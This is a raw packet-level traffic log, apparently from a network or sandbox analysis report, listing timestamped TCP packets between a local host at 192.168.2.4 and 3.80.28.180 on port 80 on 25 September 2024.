Sep 25, 2024 03:51:30.193516970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193531036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193546057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193561077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193569899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193613052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193627119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193639994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193639994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193660021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193675041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193675995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193691015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193706989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193723917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.193731070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193731070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193799019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.193998098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194014072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194030046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194045067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194061041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194077015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194092035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194114923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194114923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194384098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194397926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194412947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194427013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194442034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194451094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194461107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194468975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194478989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194495916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194509029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194524050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194530010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194530010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194542885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194557905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194572926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194590092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194591045 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194591045 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194614887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194808006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194854975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194891930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194909096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194924116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194940090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194956064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194973946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.194974899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.194996119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195046902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195174932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195190907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195205927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195219040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195241928 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195246935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195266008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195281982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195302963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195302963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195312023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195327044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195353031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195373058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195385933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195411921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195420980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195427895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195444107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195458889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195473909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195476055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195487022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195491076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195508003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195516109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195523024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195538998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195554972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195570946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.195585012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195585012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.195605040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196319103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196342945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196357012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196372032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196396112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196398973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196414948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196429014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196441889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196448088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196465015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196480989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196496010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196508884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196512938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196512938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196525097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196541071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196554899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196568966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196583986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196598053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196599960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196599960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196609020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196624994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196631908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196647882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.196649075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196670055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.196700096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.197212934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197230101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197244883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197261095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197277069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197292089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197307110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197323084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197336912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197345018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.197345018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.197355032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197370052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.197407007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.197407007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.221052885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.221077919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.221093893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.221143961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.221153021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.221254110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.221268892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.221283913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.221313953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.221313953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.221378088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.283747911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283770084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283797979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283813953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283830881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283849001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283874989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.283931017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283946991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283962011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283978939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.283992052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284039021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284039021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284147978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284163952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284178972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284197092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284214020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284275055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284312963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284329891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284365892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284383059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284399033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284415960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284431934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284437895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284437895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284452915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284476042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284511089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284706116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284719944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284734011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284754992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284770966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284785986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284801006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284801960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284801960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284821033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.284853935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.284873962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285079956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285098076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285113096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285128117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285144091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285159111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285176992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285185099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285185099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285193920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285209894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285227060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285242081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285242081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285243034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285276890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285490990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285506010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285521030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285537958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285569906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285599947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285674095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285690069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285705090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285728931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285743952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285744905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285763025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285763979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285783052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285799026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285813093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285824060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285825014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285830975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285846949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285865068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.285876036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.285923004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286346912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286370039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286387920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286403894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286418915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286422014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286437035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286453962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286470890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286473036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286489964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286504030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286504030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286504984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286520958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286535978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286552906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286569118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286583900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286583900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286585093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286600113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286617994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286622047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286622047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286638975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286654949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286670923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.286672115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.286745071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287214994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287240028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287256002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287271023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287286997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287302971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287317991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287323952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287333012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287336111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287349939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287364960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287379980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287394047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287394047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287415981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287431955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287441969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287447929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287463903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287476063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287492037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287508011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287509918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287525892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287540913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287542105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287556887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287574053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287589073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.287615061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287615061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.287724972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.288140059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288156033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288170099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288187027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288199902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288214922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288230896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288235903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.288245916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288261890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288276911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288285971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.288285971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.288291931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288309097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288325071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288345098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.288352013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.288352013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.288387060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.312155008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.312175035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.312202930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.312220097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.312236071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.312242985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.312252998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.312289000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.312289000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.312299013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.312315941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.312468052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.374991894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375024080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375039101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.375076056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.375107050 CEST	80	49730	3.80.28.180	192.168.2.4
